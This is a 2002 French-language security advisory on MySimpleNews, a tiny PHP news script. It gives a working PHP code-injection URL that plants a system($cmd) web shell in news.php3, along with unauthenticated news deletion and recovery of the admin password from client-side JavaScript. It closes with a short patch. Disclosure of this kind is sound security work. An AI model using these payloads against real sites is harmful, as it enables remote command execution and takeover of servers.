MySimpleNews
************
Informations :
°°°°°°°°°°°°°°
Langage : PHP
Tested version : 1
Website : ?
Problèmes : Execution de code PHP
Récuperation du password admin
Supression des news
Developpement :
°°°°°°°°°°°°°°°
Comme le dit son nom, MySimpleNews est un gestionnaire de news très simple.
En effet, il n'est composé que de quatre fichiers :
- admin.html, qui est la page d'acceuil admin
- news.php3, qui est le fichier où les news sont enregistrées et peuvent être affichées
- users.php, qui est le fichier permettant d'enregistrer des news
- vider.php3, qui est le fichier permettant de supprimer news.php3
Il y a donc trois fichiers admins et un fichier public (news.php3).
A part admin.html, les fichiers consacrés à l'administration ne sont pas du tout
sécurisés.
Pour supprimer les news, il suffira de se rendre sur le fichier http://[target]/vider.php3
et pour ajouter une news, l'url
http://[target]/users.php?LOGIN=[Pseudo]&DATA=[Date]&MESS=[News]
Mais il y a plus interessant à faire avec users.php.
Voici son code complet :
------------------------------------------------------------------------------
News Ajouté !
Pour ne pas surcharger votre page , supprimer le contenu de news.php3 quand
il y a beaucoup de news !
$fp=fopen("news.php3","a");
fwrite($fp,"Posté Par [$LOGIN]\n");
fwrite($fp,"Le $DATA\n
");
fwrite($fp,"$MESS\n
");
fclose($fp);
?>
------------------------------------------------------------------------------
On voit que le script écrit directemment dans le fichier PHP.
On peut alors, à la place d'un login, d'une date ou d'une news, poster du code PHP,
qui sera executable sur news.php3.
Par exemple, si je vais à l'url http://[target]/users.php?LOGIN=%20system($cmd);%20?>,
le code PHP system($cmd); ?> s'inscrira dans news.php3 et on pourra executer, si
le serveur le permet et avec ses droits, des commandes systemes grâce à l'url
http://[target]/news.php3?cmd=[COMMANDE]
Cela serait revenu au même avec users.php?DATA=[CODE] ou users.php?MESS=[CODE].
Voyons maintenant la sécurité d'admin.html.
Si on se rend sur http://[target]/admin.html, une popup javascript s'ouvrira pour nous
demander le mot de passe.
Si on entre un mauvais password, ou sera redirigé vers l'url "about:Erreur 403",
ce qui affichera "Erreur 403" dans le webbrowser.
Sinon on a accès à la partie admin.
Le javascript, placé directement après la balise , ressemble à ceci (et je le commente) :
-----------------------------------------------------
moncode = prompt('MySimpleNews - Administration','');
/*
On ouvre une popup avec comme message 'MySimpleNews - Administration' et
rien dans la zone de texte
*/
if (moncode != "[PASSWORD]")
/* Si le texte entré est [PASSWORD] (le pass admin) */
{
location.href="about:Erreur 403";
}
/* on redirige vers about:Erreur 403 */
-----------------------------------------------------
Il est d'abord à savoir que, à la base, dans le javascript, il y a un password
par défaut à la place de [PASSWORD], qui est "magique".
Ensuite, pour récuperer le password admin, il suffira d'utiliser, par exemple,
le protocole view-source:, de cette façon : view-source:http://[target]/admin.html,
pour afficher la source et enfin de repérer la ligne de script "if (moncode != "[PASSWORD]")".
Patch :
°°°°°°°
Bloquer le dossier de simplenews avec une htaccess et inclure news.php3 dans un autre
fichier php.
Credits :
°°°°°°°°°
Auteur : frog-m@n
Email : leseulfrog@hotmail.com
Website : http://www.frog-man.org
Date : 24/09/02